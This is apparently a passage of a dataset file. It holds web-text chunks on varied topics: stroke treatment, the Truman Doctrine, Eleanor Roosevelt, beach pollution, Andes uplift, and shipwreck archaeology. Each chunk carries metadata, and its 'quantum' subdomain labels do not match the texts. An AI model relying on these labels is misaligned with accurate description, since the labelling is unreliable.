value [ 12 / 09 / 1997 ] what is expected value? - expected value [ 11 / 07 / 2001 ] i am playing a game where i toss a fair coin. i get a bead if i flip a head and i lose a bead if i flip a tail... to get a total of 5 beads, what is the expected number of coin tosses i must make?", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5093701314449378, "token_count": 444, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.223840"} {"text": "stroke is the fourth leading cause of death in north america - - down from third. despite this \" improvement, \" stroke remains the leading cause of adult disability. ischemic strokes, caused by blood vessel blockages, are by far the most common type of stroke. for ischemic strokes, early intervention is crucial. the only drug fda approved for the treatment of ischemic stroke is tissue plasminogen activator ( tpa ). unfortunately, this drug must be given very soon after stroke onset, within the first three hours for most people and up to four and a - half hours for some. the solitaire device, produced by covidien inc. of irvine, calif., is the first of a new class of devices called stent - retrievers to be approved in the united states for the treatment of acute ischemic stroke. devices like solitaire, which mechanically break up and remove clots, can be used up to eight hours or longer after a stroke, thus increasing the time window for ischemic stroke patients to be treated. unlike the first generation retrieval devices, solitaire is relatively easy to use and has a high success rate at opening blocked arteries. the device uses a retrievable basket - like stent to capture the clot, allowing it to be pulled from the blocked vessel. patients suffering a stroke from a large artery blockage tend to make a much better recovery if the vessel is reopened than if the blockage is left in place or cannot be removed. penn state hershey medical center is the first and only hospital in this region to have access to this new, innovative device. despite advances in the treatment of stroke, many patients still do not make it to the hospital early enough to benefit from these advances. it is important for patients to remember the warning signs of stroke : - - sudden weakness of the face, arm or leg ; - - sudden difficulty speaking or understanding speech ; and - - a sudden, very severe headache. the sooner patients get medical attention the more treatment options they will have and the more likely it will be that they will receive a beneficial stroke treatment. even though it may not hurt, a stroke is a medical emergency where minutes matter early on, for both initial treatment and future recovery.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4472791726303619, "token_count": 459, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.227886"} {"text": "an enrerteining paper in the ny times : science | april 22, 2008 when language can hold the answer by christine kenneally does language shape what we perceive or are our perceptions pure sensory impressions? elizabet spaepen, a doctoral student at the university of chicago, examined the ability of home - signing adults in nicaragua to use numbers. ms. spaepen emphasized that although the subjects had never been taught a formal sign language, including counting, they were fully integrated in society. they have jobs and they are paid as much as hearing or signing adults. ms. spaepen asked the home - signers to match an array of objects laid out before them. for example, she placed plastic discs on a table and encouraged the subjects to lay out the same number of discs. if the number was small, as in one, two or three, the home - signers got it right all the time. if the number was larger, the home - signers got it right just approximately. if ms. spaepen laid out four discs, the subjects might lay out five or six. although they were never quite right, they were never completely wrong. the home - signers would not lay out one or 15 discs in response to four. scientists have shown that the understanding of small, specific numbers is a trait with long evolutionary history. monkeys and other animals can compute the exact number of a small set of objects at a glance without explicitly counting. the ability is called subitization. ms. spaepen suggests that when home - signers correctly use small numbers, they are relying on this innate trait. the count list we learn with most languages ( some languages do not have a count list or words for specific numbers greater than three ) has enabled humans to build on this heritage, taking the specific and uniform gap between \u201c one \u201d and \u201c two \u201d and \u201c two \u201d and \u201c three, \u201d and extending it out through four and higher, theoretically to infinity.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5696589161412412, "token_count": 399, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.235405"} {"text": "mideast strategists : president truman and secretary of state dean acheson set the united states on a cold war course that began with the formulation of the truman doctrine in 1947 and didn ' t end until eight presidents later with the disintegration of the soviet union in 1991. the middle east was never far from either side ' s strategic calculations. ( harry truman library ) on march 31, 1947, british forces were due to withdraw from turkey and greece, and british aid to the two countries would end. greece was in the grip of a civil war that would leave 158, 000 dead and 800, 000 refugees as its brutal, right - wing but pro - western monarchy was battling communist insurgents supported by yugoslavia \u2019 s josip broz tito. since late 1946, soviet forces were believed to marauding along the turkish border ( not long after withdrawing from iran under british and american pressure ). without british support, neither turkey nor greece could face down a soviet onslaught. truman doctrine and dominoes \u201c greece and turkey form the sole obstacle to soviet domination of the eastern mediterranean which is an economic and strategic area of vital importance, \u201d a report to truman by the state department \u2019 s bureau of near eastern affairs had read. the report had been commissioned by undersecretary of state dean acheson, a conservative democrat and emerging cold war hawk who \u2019 d go on to be the architect of the north atlantic treaty organization and urge the building of the hydrogen bomb. several years before president eisenhower made the \u201c domino theory \u201d a household phrase in his description of what would happen if the united states did not prevent the fall of vietnam to communist forces, the state department and the department of defense ( then still known as the war department ) argued to truman that if turkey and greece fell, the rest of the middle east and possibly western europe would follow, like dominoes. truman v. republicans accurate or not, the dramatic scenario of a soviet take - over had resonance in the united states for political reasons. for the first time since the great depression, both houses of congress were controlled by republicans. with sen. joseph mccarthy in the senate and richard nixon in the house, the red scare was defining the political discourse. harry truman \u2019 s popularity, at less than 40 % approval, was at the lowest of his presidency. he needed something to revive it. truman found it in what became known as the truman doctrine, a strategic and philosophical vision of the post - world war ii order that defined the cold war from then on. philosophically, truman endorsed", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48908850609947596, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.239492"} {"text": "a reference resource anna eleanor roosevelt \u201c never wanted to be a president \u2019 s wife. \u201d after discovering in 1918 her husband \u2019 s infidelity, eleanor roosevelt ( known to her friends as er ) purposefully constructed a life of her own over the next fifteen years, one in which she found just as much fulfillment in her personal endeavors as she did in her husband \u2019 s career. during these years, fdr and er became political and social partners rather than intimates in a loving and warm marriage. still, er feared that as first lady she would have to forsake her hard - won autonomy. once in the white house, however, she succeeded not only in maintaining her independence, but in remaking the role of the first lady. eleanor roosevelt used the position of first lady to further causes she considered important. indeed, she relished the opportunity, believing that she was now \u201c in a position where i can do the most good to help the most people. \u201d her activism became legendary. she brought much - needed attention to new deal programs, to the cause of civil rights, to the need for low - income housing, to the hardships of jobless young people, and to demands for women \u2019 s political involvement and equality. in embracing these causes, er did not win every political fight - - and surely earned a good number of implacable enemies - - but she became a leading advocate for america \u2019 s poor, forgotten, and disfranchised. eleanor roosevelt seemed to be everywhere as first lady. she gave speeches on the radio, wrote a daily column for newspapers and articles for magazines, appeared in film shorts and newsreels, held weekly press conferences expressly for female reporters, and spoke at the democratic national convention in 1940 on behalf of fdr \u2019 s controversial vice - presidential choice, henry wallace. between 1933 and 1940, she visited every state in the union except for south dakota. as the great depression ravaged the united states during the 1930s, er set out to learn about the plight of the nation \u2019 s poor. she traveled to appalachia and saw first - hand the devastation wrought by the depression on poor, rural americans. armed with this experience, she impressed upon fdr the need for new deal programs to assist these oft - neglected people. when the national industrial recovery act \u2019 s subsistence homestead administration established model communities for poor americans, er became the staunchest defender of one project, the arthurdale community in west virginia, though it was not a success. as first lady, er vigorously", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4328391013094295, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.247474"} {"text": ". when the national industrial recovery act \u2019 s subsistence homestead administration established model communities for poor americans, er became the staunchest defender of one project, the arthurdale community in west virginia, though it was not a success. as first lady, er vigorously promoted african - american civil rights. she held membership in, and was on the board of, the national association for the advancement of colored people ( naacp ), campaigned to end the poll tax, assisted in howard university \u2019 s fundraising efforts, and sought to make more new deal programs address the needs of black americans. she also convened the white house conference on negro women and backed the appointment of her friend mary mcleod bethune to a leadership position in the national youth administration. one of her most well - known stands for civil rights came in 1939 when she rebuked the daughters of the american revolution ( dar ) for refusing to allow the distinguished african - american contralto marian anderson to sing in its concert hall and resigned from the organization in protest. her activism continued during world war ii. she flew to europe and to the south pacific, where she comforted wounded american troops. like so many other american women, she joined the workforce during world war ii, becoming the first first lady to be \u201c employed \u201d by the government - - although she did not receive a salary. she served as deputy director of the office of civilian defense ( ocd ), an agency created by fdr in may 1941 to coordinate civilian air defenses, but she did not prove to be an able administrator. er fulfilled the traditional first lady \u2019 s role as white house hostess as well. at first, she performed the function grudgingly, calling it a \u201c useless burden. \u201d gradually, however, she recognized that her social role \u201c had real meaning and significance. \u201d she came to believe that in welcoming visitors and guests to the white house, she was, in effect, introducing them to the american political system. in addition, she realized that as white house hostess, she could further her own political interests and causes by inviting members of various organizations to high - profile white house teas and receptions. all of these activities garnered eleanor many admirers, but also substantial numbers of detractors. conservatives, already appalled by franklin roosevelt \u2019 s liberalism, attacked her for lending her name to liberal causes. southerners, in particular, opposed er \u2019 s support of civil rights and sometimes slandered the first lady viciously. these attacks were politically motivated - - a shot at er being almost as good as one at fdr - -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41249582034709675, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.248770"} {"text": "liberal causes. southerners, in particular, opposed er \u2019 s support of civil rights and sometimes slandered the first lady viciously. these attacks were politically motivated - - a shot at er being almost as good as one at fdr - - but they also arose because eleanor roosevelt shunned traditional gender roles and criticized contemporary race relations. in some cases, er could not even count on the support of her husband. though fdr appreciated and was proud of his wife \u2019 s activities, he also knew that support for controversial portions of her agenda - - like civil rights - - might erode his political and public support. on matters like an anti - lynching bill and proposals to admit jewish refugees, fdr refused to commit the full power and prestige of his office, even though he privately ( and sometimes publicly ) supported such measures. er understood that his reluctance was the price she had to pay for congressional support for numerous other initiatives, but she continued to press her case even without her husband \u2019 s full backing. as the end of world war ii approached, eleanor prepared to adjust to a new role - - that of first lady in an america that was not beset by economic depression or war. but she never got the chance. franklin delano roosevelt died some three weeks before the allies achieved victory in europe. arriving in new york after leaving washington and the first ladyship, she told reporters, \u201c the story is over. \u201d it was far from over, however, as er spent the next seventeen years working on many of the same issues she had championed as first lady. as u. s. delegate to the united nations general assembly, she chaired the commission on human rights of the economic and social council. when in 1948 she won adoption of a declaration on human rights for which she was primarily responsible, the delegates from around the world rose from their seats to give her a standing ovation. after her death in 1962, eleanor roosevelt continued to capture the imagination of americans, as well as admirers from all over the globe. her tenure as first lady has become the standard by which other presidential spouses are measured - - often an impossible mark, given the difficult times in which er lived, her energy and activism, and her wide range of interests. because of eleanor roosevelt, the role of first lady took on a greater significance and a greater visibility in the minds of the american people than ever before.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.41122450288853385, "token_count": 484, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.249723"} {"text": "assembly : presentationframework ( in presentationframework. dll ) this method pauses the storyboard, but has no discernible effect if it is not active or currently paused. as a side effect, all associated children are also paused. a controllable storyboard can pause, resume, seek, stop, and be removed. to make a storyboard controllable in code, you must use the appropriate overload of the storyboard ' s begin method and specify true to make it controllable. for an example, see how to : control a storyboard after it starts. beginning a paused storyboard when you begin a storyboard that was paused, it appears to resume and restart. however, that is not what actually happens. the begin method actually replaces the paused storyboard with a new unpaused version. each time the begin method is called, clock objects are created for the storyboard. these clocks are distributed to the properties they animate. so, when the begin method is called again, it does not restart its clocks ; it replaces them with new clocks. windows 8, windows server 2012, windows 7, windows vista sp2, windows server 2008 ( server core role not supported ), windows server 2008 r2 ( server core role supported with sp1 or later ; itanium not supported ) the. net framework does not support all versions of every platform. for a list of the supported versions, see. net framework system requirements.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42226723667589106, "token_count": 296, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.253221"} {"text": "annual beaches report finds water quality lacking along u. s. shores wednesday, june 27 ( healthday news ) - - if you ' re headed to the seashore this summer, the last thing you want to hear is that you and your family could bring home a nasty disease after taking a dip in the ocean. but, the nation ' s beaches continue to put swimmers at risk for catching a variety of bacterial and viral illnesses, according to a report released wednesday by the natural resources defense council ( nrdc ). the report found that the number of beach closings and official advisories about polluted water at coastal u. s. beaches in 2011 reached the third - highest level in two decades. more than two - thirds of the closings and advisories were due to bacterial levels in the water that exceeded public health standards. \" beaches can make you sick, \" said steve fleischli, water program director at the nrdc. the biggest causes of contamination are human and animal waste, largely from sewage brought to the sea through storm water run - off, he noted. fleischli said those at greater risk of contracting a sea - borne illness at the beach are people with weakened immune systems and small children who are more likely to ingest water while swimming. the u. s. environmental protection agency ( epa ) estimates that up to 3. 5 million people become ill from contact with raw sewage from sewer overflows each year, which typically occur after a period of intense rain. beach water pollution can cause a range of illnesses in swimmers including diarrhea, skin rashes, conjunctivitis ( \" pinkeye \" ) ; ear, nose and throat problems ; hepatitis ; respiratory ailments ; neurological disorders ; and other serious health problems, according to the nrdc. ratings based on indicators of beach water quality, monitoring frequency and public notification systems were issued by the nrdc to 200 popular beaches in the country. twelve beaches got a five - star rating, including newport beach in california and wallis sands beach in new hampshire. at the other end of the spectrum were the worst beaches, which included avalon beach and doheny state beach, both in california. this year ' s report found water quality at the nation ' s beaches was stable, with 8 percent of water samples violating public health standards in 2011, as in 2010. the only inland beaches included in the report were the great lakes, which had the highest violation rate of the public health standards : 11 percent of the samples were below par. fleischli", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45355521846694463, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.258932"} {"text": "samples violating public health standards in 2011, as in 2010. the only inland beaches included in the report were the great lakes, which had the highest violation rate of the public health standards : 11 percent of the samples were below par. fleischli said budget shortfalls have caused some states to cut back on regular beach water testing and federal monies may be reduced soon. without such testing, and subsequent online and site notifications of any problems, people are unaware of the risks. jon devine, senior attorney of the water program at the nrdc, said there are several causes of contamination. \" there are a number of reasons a beach may have a high rate of violation, \" he explained. \" geography, proximity to sources of pollution, such as storm water outfalls, and even frequent testing, \" which, although desirable for the public, can make a beach look less attractive for swimming than another that simply checks the water less often. the nrdc is pressing the epa to reconsider its proposed recommended standards for beach water quality, which it says are too lenient. it also is urging the epa to reform and better enforce national requirements about sources of polluted storm water. what can families do to stay healthy while swimming at the beach? devine suggested selecting beaches with frequent water testing programs. \" stay out of the water when advisories are in effect or after heavy rains, \" he said. devine also encouraged people to be good stewards of the beach environment : \" don ' t feed wildlife, and clean up after your pet. if you ' re a boater, don ' t dump sewage in the ocean. \" check the water at your favorite beach by going to the natural resources defense council. sources : june 27, 2012, media briefing with : steve fleischli, water program director, and jon devine, senior attorney, water program, natural resources defense council ; june 27, 2012, testing the waters : a guide to water quality at vacation beaches", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4573164827118564, "token_count": 401, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.259777"} {"text": "the following story is contributed by the florida museum of natural history, one of natural history magazine \u2019 s museum partners. members of any of our partner organizations receive natural history as a benefit of their museum membership. at the florida museum of natural history, visitors may enjoy hundreds of exotic butterflies in a rainforest setting, witness a south florida calusa indian welcoming ceremony, experience a life - sized limestone cave, and see a mammoth and mastodon from the last ice age. permanent exhibits include northwest florida : waterways & wildlife ; south florida people & environments ; florida fossils : evolution of life & land ; and the mcguire center for lepidoptera and biodiversity, which features the screened, outdoor butterfly rainforest exhibit with hundreds of live butterflies. located at the university of florida, in gainesville, this is florida \u2019 s state museum of natural history, dedicated to understanding, preserving and interpreting biological diversity and cultural heritage. for further information, visit the museum \u2019 s web site, www. flmnh. ufl. edu. when asked if mountains grow slowly and steadily versus in rapid spurts, most people intuitively gravitate to the \u201c slow and steady \u201d model. mountains, we are taught, take an incomprehensively long time to build up their scads of boulders, jagged peaks and high - altitude plateaus. in fact, most known mountain building processes do require large amounts of time to complete their skyward climb. but for every rule there is an exception. consider the himalaya and andes mountains \u2014 despite their relative geologic youth, these mountain belts rank among the world \u2019 s tallest peaks. and therein lies the mountainous paradox : how do geologically young mountains grow extremely tall in extremely short time periods? conventional geology tells us that as the earth \u2019 s tectonic plates collide and dive beneath one another, and these actions cause the earth \u2019 s skin to crumple and fold. for a superficial visual effect, pinch together an inch or two of your forearm skin. just as your skin crumples into peaks and valleys under pressure from your fingers, deforming tectonic pressures cause the earth \u2019 s crust to shorten and thicken into crenulations and folds, which alpinists yearn to climb and landscape photographers strive to capture on film. but below the surface, mountains have deep roots where dense material accumulates over time, often from the action of one tectonic plate diving beneath another whereby material is scraped off of one onto the other. it was previously thought that a gradual erosion of", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5007130833964356, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.267054"} {"text": "but below the surface, mountains have deep roots where dense material accumulates over time, often from the action of one tectonic plate diving beneath another whereby material is scraped off of one onto the other. it was previously thought that a gradual erosion of this root by the more plastic asthenosphere resulted in the gradual rise of the crust ( see figure right ). but a new study tracking the uplift of a central portion of the massive andes mountains in south america shows that mountain building \u2014 what geologists term \u201c orogeny \u201d \u2014 may actually occur in much faster fits and spurts than previously realized due to the rapid loss of large amounts of material from the mountain \u2019 s root. while conventional theory would predict that the andes mountains rose gradually and in sync with the scrunching of the nazca plate beneath the south american plate, which scientists know has caused dense material to accumulate millennia after millennia up to 70 kilometers below south america \u2019 s western coast, florida museum of natural history paleontologist bruce macfadden said that this is not what happened after all. macfadden is a co - author of the study published june 6 in the journal science. \u201c instead of the altiplano rising little by little each year, we found two phases of spasmodic or punctuated uplift interspersed by millions of years of stability, \u201d macfadden said. the authors assert that as the crustal layer, or lithosphere ( which floats above the mantle ) was squeezed under deforming pressures, earth processes caused large parts of the accreted dense material to plummet downwards into the more plastic upper mantle layer, also known as the athenosphere. this loosening of the root load caused the surface crust layer to rise, buoyed upward like a released cork, by the excision of massive extra weight below. \u201c our findings will force geologists to acknowledge that removal of lower lithosphere material could be an important process that causes rapid surface uplift in different mountain belts worldwide and over geologic time, \u201d said lead author carmala garzione, a geologist at the university of rochester. \u201c the subduction process may cause shortening and thickening of the mantle lithosphere and dense lower crust that accumulates at depth until that dense material is removed rapidly \u2014 either by downward dripping, which is a convective process, or by another process called delamination. \u201d", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5002130420024219, "token_count": 491, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.268958"} {"text": "the pepper wreck virtual tour text by filipe castro ships were and still are complex machines, perhaps among the most sophisticated artifacts built by men at all times. for this reason it is often times difficult to explain the importance of the archaeological record to the general public, journalists, politicians and treasure hunters. the shiplab team would like to explain how exciting and interesting the history of shipbuilding is, and hopefully raising people ' s awareness towards this subject. our main objective is to engage sport divers, looters, and treasure hunters in constructive discussions about shipbuilding and try to salvage whatever information is possible to salvage from archaeological sites salvaged or looted. this project intends to be a guide to the basic archaeological recording of one of these shipwrecks. what archaeologists do this page is intended as an explanation of what archaeologists do. often times i have been asked - mostly by treasure hunting supporters - about the relevance of our work at the shiplab, and the differences between what we do and what treasure hunters do. at the shiplab we have gathered as much information as we could find on 16th century iberian shipbuilding, and now we can make a strong case for the importance of the study of this subject, and consequently argue for the necessity to protect the few shipwreck sites still left untouched from the destructions of treasure hunters and looters. the pepper wreck is an almost perfect case - study to explain what we do and why. it was destroyed and scattered in the shipwrecking process, it was salvaged by skilled divers in subsequent summers ( at least until 1612 ), it was probably smashed by the 1755 tidal waves that followed the earthquake, and it was looted in the 1970s and 1980s. from what was left, we have reconstructed the site formation process, recorded the archaeological remains, and reconstructed the original ship, to the best of our knowledge. the drawings presented here pretend to illustrate the conjectural reconstruction. the model presented here is just an educated guess. we have also planned to look at it as a financial asset, part of a large and complex economic process. separately, we are attempting to address this ship as a cultural answer to a particular question : how can we [ the 16th century portuguese merchants ] bypass the ottoman - venetian intermediaries and access the asian markets directly? and finally, we want to compare this ship with the other merchantmen of its time and try to understand the differences between the portuguese ocean - going vessels and those of their neighbors and competitors, in the north of europe and in the mediterranean world. why is this relevant", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4718053923433335, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.283072"} {"text": "we want to compare this ship with the other merchantmen of its time and try to understand the differences between the portuguese ocean - going vessels and those of their neighbors and competitors, in the north of europe and in the mediterranean world. why is this relevant? why should we study these archaeological remains instead of breaking them apart for short - term profit? there are many answers to this question. the first is because the understanding of our past is paramount to our well - being. historian howard zinn said that a society without a memory would have to trust its politicians. it is difficult to conceive a civilization without roots. culture is the software of our minds. to understand who we are we must know where we came from. and ships were and still are among the most complex and sophisticated artifacts produced by any society. the history of seafaring is a relevant part of the human experience. as george bass said, long before there were farmers there were sailors. ships are means of transport, communication, and power. and the portuguese naus were the ships that first opened direct relations between europe and east and west africa, the indian subcontinent, and southeast asia. these were the ships that first arrived with europeans in india, malaysia, myanmar, thailand, cambodia, vietnam, china, japan, and indonesia, as well as brazil. their economical and cultural importance is enormous. as michael krondl reminds us in a recent book ( the taste of conquest, new york : balantine books, 2007 ), can you imagine asian cuisine without the red peppers brought by the portuguese from brazil? how many artifacts around the world attest the exciting intellectual climate experienced after the portuguese and spanish seafarers established economic, cultural and social contacts between the previously isolated populations of the europe, africa, asia and the americas? and yet we know so little about their ships : how were they conceived? how were they built? why were they different ( if they were different ) from the genoese carracks of their time? can we weight the importance of their study against the earnings of a small bunch of treasure hunters? i don ' t think so. and yet, most portuguese ships have been destroyed by looters or treasure hunters wherever they are found. for those who don ' t know, the difference between treasure hunters and looters is a mere technicality : the first are supposed to have licenses to destroy the shipwrecks they salvage, and the second are supposed to destroy them illegally. treasure hunters may leave us pictures, often times in auction catalogs", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4444656823611585, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.284143"} {"text": "and looters is a mere technicality : the first are supposed to have licenses to destroy the shipwrecks they salvage, and the second are supposed to destroy them illegally. treasure hunters may leave us pictures, often times in auction catalogs ; looters generally leave us nothing. this page is therefore intended as a detailed and clear explanation about what we believe must be done with every shipwreck found around the world. their rapid evolution through the period 1500 - 1640 reflects the cultural changes of their makers : necessity, ideology, technological advances, changes in taste, foreign influences, supply and demand dynamics, and other factors worth studying. these ships were made in a world that knew no industrialization and are all unique artifacts. to understand the culture that produced them we need a large sample. treasure hunters and archaeology some treasure hunters have voiced their frustrations regarding the logics of their business. to them time is money. they work for profit. therefore they must act fast, salvage whatever they can, avoid wasting time recording anything or spending money preserving artifacts without market value. understandably, they have to avoid letting archaeologists see whatever they leave behind. i suspect that it is not pretty. and it is part of their marketing strategy to avoid discussing the destructions left behind. peter throckmorton wrote that a particular treasure hunter dynamited his site after salvaging the porcelain cargo in an attempt to erase from the face of the earth. a treasure hunter that i know personally said recently about a shipwreck that he has salvaged somewhere that he treated it like a baby. yet, he is not disclosing its location or showing any pictures of the site, before, during, or after the salvage operations. without even dreaming of approving what they do, i would like them to understand how important the sites they destroy are, and ask them to record at least a small number of important pieces of information, and then share them with us. i believe that it is possible to make treasure hunting illegal worldwide and i spend a lot of time every year lobbying to have treasure hunting illegalize in many countries. in the mean time, i believe that we have an obligation to try to improve the situation within the boundaries of what is possible to achieve. archaeologists and archaeology having experienced all sorts of dysfunctional behaviors from my colleagues, i think that it is only fair to write here that treasure hunters are only a part of the problem. many iberian shipwrecks have been excavated by archaeologists and never published, and i know more than one case of", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4005057393133398, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.285327"} {"text": "this process leaves marks of the temporary nails on the plank ' s faces. these marks should be recorded in situ, weather we are planning to raise all timbers of a particular site or not. we do not know how the portuguese erected the hulls above the first futtocks. were the second futtocks supported by scaffolds? were they sandwiched between the stringers and the wales, and their final positions defined through the runs of the hull strakes to which they were fastened? pictures are always a good help and the least we can say about them is that we can never take too many. treasure hunters should try to make mosaics of the sites at different stages of their work, and take as many detailed pictures as possible, always with a scale. some treasure hunters are already making mosaics of the sites before disturbance. beyond the obvious reasons regarding to the relations between artifacts and their positions on the shipwreck site, a good recording of the site plan will allow a better understanding of the site formation process, the way in which each piece end up it each particular position. remember, we are trying to reconstruct the ship as it was before the shipwreck. although the account of the loss of the nossa senhora dos martires is lost, a letter suggests that the wind fell suddenly, while the ship was in front of the fortress, and the waves and tide drove it to the rocks. it also suggests that the upper portion of the stern castle broke away and drifted to the fortress, and both the hull remains and an anchor we found a few hundred years away, hooked on a rocky outcrop and bent in the direction of the ship remains, suggest that the orientation of the keel when the vessel hit the rocks was as indicated here, in kevin ' s drawing. the distribution of the artifacts around the site is absolutely compatible with the presumed position of the hull. for instance, two of the three astrolabes and the two dividers found were all located in the area were the stern broke, on the port side of the presumed position of the ship. we know that a number of guns were salvaged right after the shipwreck, and some were looted in the 1970s and 1980s. nevertheless, there were two guns on the site, also both located to port side of the shipwreck, suggesting that it listed in that direction after hitting the bottom. often times ships have great stories. for instance, in 1978 archaeologists found the archaeological remains of an american china packet named niantic.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4883592868638202, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.287304"} {"text": "both located to port side of the shipwreck, suggesting that it listed in that direction after hitting the bottom. often times ships have great stories. for instance, in 1978 archaeologists found the archaeological remains of an american china packet named niantic. it had been built in connecticut in 1835 and destroyed by fire in 1851, on the waterfront of san francisco, ca, where it had been beached and transformed into a storeship. during its 16 - year life niantic was a merchantman, then a whaler, then a passenger ship, transporting adventurers to san francisco during the gold rush, and finally was transformed into a building on that city ' s waterfront. all this information was stored in the bilge of niantic ' s remains : about 4, 000 artifacts related to each one of the phases of the ship ' s life. due to its small dimensions, the pepper wreck site plan was made from 1 : 1 drawings, and corrected with tape measures and sketches. there are other ways to record ship ' s hulls and affordable software is available to both amateur divers and treasure hunters. often times it is not possible, or even desirable, to excavate the sites entirely and measures should be taken to cover and protect the undisturbed portions of a shipwreck. as mentioned previously, treasure hunters tend to be particularly destructive after sacking the sites of materials with market value and avoid spending money protecting the remains. the group that salvaged the molasses reef wreck dynamited the site out of spite when they learned that archaeologists from the institute of nautical archaeology had won a permit to excavate it. we hope to contribute to develop a more responsible atitude among treasure hunters - and perhaps even the politicians that support their activity - by showing how much information could be retrieved from a site such as the pepper wreck, which was both salavaged and looted. site plans and photographic mosaics are almost useless without sections. stratigraphy and curvature of the timber structures are as important as the horizontal projection we designate as site plan. sections can be taken by many different sorts of ways, and again, affordable software is available that can make these tasks easy and relatively quick. again, pictures should be taken to illustrate the process. unreliable data, obtained in sloppy ways is generally worse than the absence of data. it is not uncommon for treasure hunters to lie about the sites, claim that \" there was only a gun port \" and the rest were lumps of ingots lying on the sand, ready to be picked up without", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47394722858955357, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.288257"} {"text": "worse than the absence of data. it is not uncommon for treasure hunters to lie about the sites, claim that \" there was only a gun port \" and the rest were lumps of ingots lying on the sand, ready to be picked up without the need to disturb anything. this attitude should be avoided. in the treasure hunting particular case hypocrisy is a far worse crime than greed. it is a daunting task, but it is progressing in good rythm. only a small number of the pepper wreck hull timbers were raised and carefully recorded. 2. keels ( quilhas ) total length = length preserved = - a. is it constant? - b. sided dimensions = - c. molded dimensions = - d. rabbet ( alefriz ) shape and depth - - at the bow - - amidships - - at the stern how many timbers ( paus ) form the keel? are the sections connected with scarves? what fastenings are used? a. are there recesses for the spike heads? b. are the spikes clenched? is there a stern heal ( couce de popa )? is there a bow heal ( couce de proa )? timber species - the section of the keel of the pepper wreck was not preserved. its depth was estimated from a preserved bolt, which was bent under the keel when the ship hit the bottom. iberian ships have been found with very different keel sections. for example : the small but robust basque whaler san juan ( 1565 ) has a particular type of keel with the garboards carved from one single timber ; the pepper wreck keel was assembled from several rather small timbers connected with flat vertical scarves ; the cais do sodre ship keel timbers were not connected in any way. 3. stern heels, or keel knees ( couces ) as kinks in structures tend to concentrate stresses some shipbuilding traditions emphasized the reinforcements of the ship ' s weaker points. joao baptista lavanha is the author that better explains the design of the ' couces ' that connect the keel to the posts. to my knowledge, all archaeological parallels to these typical iberian features are northern - the cog ' s ' hooks ' for instance - and these ' couces ' make a strong case for a mix origin of the iberian oceangoing ships, which look like they were conceived as mediterranean vessels and reinforced as northern craft. a number of iberian shipwrecks have been found with these ' couces, '", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4764545334759908, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.289140"} {"text": "' make a strong case for a mix origin of the iberian oceangoing ships, which look like they were conceived as mediterranean vessels and reinforced as northern craft. a number of iberian shipwrecks have been found with these ' couces, ' always with different configurations and differing in many details. a few archaeological examples of stern heels : 4. stems ( rodas de proa ) only 